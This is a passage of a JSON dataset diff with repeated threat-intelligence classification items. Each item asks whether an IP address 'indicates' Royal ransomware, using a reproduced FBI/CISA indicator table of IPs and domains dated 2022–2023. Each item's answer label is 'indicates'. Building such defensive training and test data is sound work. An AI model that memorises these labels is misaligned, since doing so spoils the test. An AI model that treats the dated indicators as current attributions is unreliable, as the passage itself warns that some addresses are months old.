+        "input": "### Source Entity:\n105.158.118.241\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n105.69.155.85\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n113.169.187.159\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n134.35.9.209\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n139.195.43.166\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n139.60.161.213\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n148.213.109.165\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n163.182.177.80\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n181.141.3.126\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n181.164.194.228\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
